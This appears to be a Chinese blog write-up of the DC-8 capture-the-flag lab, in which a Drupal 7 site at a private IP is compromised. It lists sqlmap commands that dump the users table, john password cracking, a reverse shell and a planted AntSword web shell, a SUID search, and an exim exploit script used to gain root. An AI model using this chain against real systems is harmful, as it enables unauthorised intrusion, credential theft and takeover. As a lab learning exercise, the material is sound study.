首页 > 数据库 >DC-8(sql注入漏洞)

DC-8(sql注入漏洞)

时间:2023-03-25 16:06:56浏览次数:60  
标签:sqlmap 文件 -- 6.152 DC 192.168 漏洞 sql

信息收集

  1. 扫描ip和端口:通过nmap扫描ip和端口发现:ip为192.168.6.152,开放端口号为80和22
  2. 扫描目录:dirb和desearch,发现了疑似登录界面

DC-8(sql注入漏洞)_Drupal

  1. 查看框架:Drupal 7
  2. 漏洞扫描:searchsploit Drupal7,发现有可利用的漏洞(“Drupalgeddon” SQL注入漏洞)

DC-8(sql注入漏洞)_Drupal_02

  1. 浏览网站:由上一步可以得知存在sql注入,那么需要寻找注入点,点击该网站多个页面之后发现在welcome to DC-8页面由get传参合理怀疑存在存在注入点,于是直接在nid=1后面加一个单引号,发现报错,且在输入1 and 1=1和1 and 1=2时的返回结果不同确定是数字型

DC-8(sql注入漏洞)_Drupal_03

漏洞利用

  1. sqlmap实现注入:
  1. sqlmap -u "http://192.168.6.152/?nid=1" --dbs --batch;
  2. sqlmap -u "http://192.168.6.152/?nid=1" -D d7db --tables --batch;
  3. qlmap -u "http://192.168.6.152/?nid=1" -D d7db -T users --columns --batch;
  4. sqlmap -u "http://192.168.6.152/?nid=1" -D d7db -T users -C name,pass,uid --dump
  1. 得到用户名和密码两个

DC-8(sql注入漏洞)_Drupal_04

  1. 对密码进行解密:john 1.txt,解出john的密码为turtle

反弹shell

  1. 第一反应想到的是最开始的22端口先试试能不能直接远程登录,结果不行

DC-8(sql注入漏洞)_Drupal_05

  1. 在信息收集的时候有个user界面,试试在此处登录,登录成功

DC-8(sql注入漏洞)_sql_06

  1. 找到可以上传代码的地方,并保存

DC-8(sql注入漏洞)_sql_07

  1. 点击提交在此之前开启监听

DC-8(sql注入漏洞)_sql_08

  1. 反弹成功,开启交互python -c 'import pty;pty.spawn("/bin/bash")'

DC-8(sql注入漏洞)_Drupal_09

反弹shell(二)

  1. 利用蚂蚁剑在Detail出写下一句话小马

DC-8(sql注入漏洞)_Drupal_10

  1. 蚁剑链接http:192.168.6.128/node/3/done,输入密码即可

提权

  1. 找有sudo权限的文件(查找权限find / -perm /4000 2>/dev/null也可以),发现了一个exim4文件(整数溢出漏洞用\n绕过)

find / -perm -u=s -type f 2>/dev/null

DC-8(sql注入漏洞)_Drupal_11

  1. 查看版本信息:exim4 --version

DC-8(sql注入漏洞)_sql_12

  1. 搜索该漏洞,发现了一个.sh文件可能可以利用,将该文件上传到靶机tmp目录下(因为它的html用不了不知道为啥)

DC-8(sql注入漏洞)_Drupal_13

  1. 对其赋权chmod 777 exim.sh
  2. ./exim.sh -m netcat(读了该sh文件发现里面对执行该命令有提示限定需要加后面的参数)

DC-8(sql注入漏洞)_sql_14

  1. 提权成功(有时间限制)

DC-8(sql注入漏洞)_Drupal_15

总结:

  1. 还是根据Drupal 7寻找漏洞,发现是sql注入,然后找到注入点再用sqlmap来跑
  2. 依旧用find命令来找suid权限的命令,find / -perm -u=s -type f 2>/dev/null
  3. 找到了sh文件后需要对其赋权
  4. 还是用到了john解密
  5. 看到一个漏洞的第一反应是找它的版本漏洞
  6. 在靶机中下载文件的时候如果var/www/html文件无法下载的时候可以尝试下载到/tmp文件
  7. 关于软链接 ls -s 源文件 目的文件 rm -rf +文件路径(删除软连接),其作用在没有一些权限的时候实现文件移动和使用(https://blog.csdn.net/sunhuaqiang1/article/details/88354515
  8. usr/bin和usr/sbin的区别:后者的s可能是sudo的意思,大概是权限高于前者(https://blog.csdn.net/weixin_30878111/article/details/116734537
  9. Exim存在整数溢出漏洞,该漏洞源于receive_msg 函数,在未经身份验证的情况下,攻击者可以通过“\n”绕过Exim对邮件头大小的限制,从而造成整数溢出。

标签:sqlmap,文件,--,6.152,DC,192.168,漏洞,sql
From: https://blog.51cto.com/u_16030151/6149512

相关文章

  • mysql语句
    数据库拼接字符串updatefriendscirclesetreply=CONCAT(reply,"3333")wherename="22";//求和如果为空,默认给0selectIFNULL(sum(amount_incurred),0)from......
  • mysql怎么删除重复数据并且保留其中一条
    现在有张加班表,一个人同一天只允许申请一次加班,就是加班日期和userid相同的数据应该只有一条,但是现在由于之前没有做限制,导致很多数据重复怎么通过sql删掉重复数据思路:......
  • windows下安装mysql8方法
    系统环境及软件版本:windows11,MySQL8.0.32。windows下安装mysql有两种方法,一个下载mysql的exe可执行文件安装,比较适合小白,下载后双击执行安装包,下一步、下一步就可以。第二......
  • C# 操作 MySql
    C#操作MySql简介代码介绍代码实现创建数据库创建数据表查询数据事务代码示例简介工作中大多数情况下用的都是MySql但一直没有记录,相关操作。这篇文章以便MySql.Data库......
  • EF6链接MySql报The underlying provider failed on open错误
    这个问题困惑了好久,在自己电脑是数据库连接都可以用(VS2017),但是在公司的电脑(VS2015)上死活报:Theunderlyingproviderfailedonopen这个错误。网上查找了很多资料都没有得......
  • 提高导入大型SQL文件速度的方法
    提高导入大型SQL文件速度的方法可以调整数据库的配置参数,例如缓冲区大小、内存分配和并发连接数等,可以提高数据库处理大量数据的能力,从而加快导入速度。配置文件的路径:/etc/......
  • 什么是Mysql和Mysql原理、Mysql主从复制、SQL语句
    ✍什么是MysqlMysql是关系数据库管理系统,一般中小型网站的开发都选择MySQL作为网站数据库搭配PHP和Apache可组成良好的开发环境.✍关系型数据库和非关系数据库1、关系数......
  • MySQl学习(从入门到精通11)
    https://blog.csdn.net/qq_42055933/article/details/128935615?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2~default~AD_ESQUERY~ylj......
  • 在Sqlite中通过Replace来实现插入和更新
      你可能在批量处理一个事务的时候,想要批量插入一系列的数据,但是这些数据当添加完一次之后,重新添加的时候,你不想要重新添加,只是想将原有的数据进行更新,例如:我想要通过E......
  • IDEA中sql语句的模糊查询查不到数据库中的信息
    IDEA中使用sql的模糊查询查找数据库中的用户姓名,查找不到相关信息。1、排查sql语句没有问题2、确认数据库的编码使用了gbk 最后去查了jdbc驱动,发现驱动信息中没有配......